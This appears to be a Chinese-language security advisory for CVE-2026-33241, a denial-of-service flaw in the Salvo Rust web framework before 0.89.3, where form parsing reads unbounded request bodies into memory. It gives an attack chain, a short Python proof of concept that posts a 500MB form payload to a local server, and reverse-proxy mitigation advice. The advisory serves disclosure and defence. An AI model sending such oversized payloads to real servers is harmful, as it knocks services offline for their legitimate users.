IPBUF安全漏洞报告
English
CVE-2026-33241 CVSS 7.5 高危

CVE-2026-33241 Salvo Web框架拒绝服务漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33241
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Salvo

相关标签

拒绝服务资源耗尽SalvoRustDoSOOM

漏洞概述

Salvo是一个Rust Web框架。在0.89.3版本之前,其表单数据解析实现(form_data()方法和Extractible宏)在读取请求体到内存前,未强制执行载荷大小限制。攻击者可利用此缺陷发送极其巨大的恶意数据包,导致服务器内存耗尽(OOM),进而引发服务崩溃和拒绝服务。

技术细节

该漏洞的根源在于Salvo框架底层处理表单解析时的逻辑缺陷。在受影响版本中,`form_data()`方法以及`Extractible`宏在解析HTTP请求体时,直接将数据流读取到内存缓冲区中,而缺乏对输入数据大小的预检查或硬性上限限制。攻击者无需身份认证即可向服务器端点发送特制的恶意HTTP请求,例如包含超大字段的Multipart form data或URL编码表单。当服务器尝试解析这些超出常规大小的数据时,会尝试分配大量内存资源,导致内存耗尽(OOM)。这不仅会触发操作系统的OOM Killer强制终止应用进程,还会导致合法用户的请求无法得到响应,从而实现远程拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器正在使用受影响版本的Salvo Web框架(0.89.3之前)。
STEP 2
漏洞利用
攻击者向目标服务器的表单提交接口发送HTTP POST请求,请求体中包含巨大的Multipart form数据,旨在耗尽服务器内存。
STEP 3
影响达成
服务器在尝试读取和处理超大载荷时发生内存溢出(OOM),导致进程被系统终止或服务停止响应,实现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = 'http://localhost:7878/form' # Create a large payload to trigger OOM (e.g., 500MB) payload = b'A' * (500 * 1024 * 1024) # Send POST request with large form data files = {'data': ('exploit.bin', payload)} try: response = requests.post(url, files=files) print(f"Response status: {response.status_code}") except Exception as e: print(f"Server likely crashed: {e}")

影响范围

Salvo < 0.89.3

防御指南

临时缓解措施
如果无法立即升级,建议在应用前端部署反向代理(如Nginx),配置`client_max_body_size`等参数以限制允许的最大请求体大小,从而拦截恶意的大流量请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表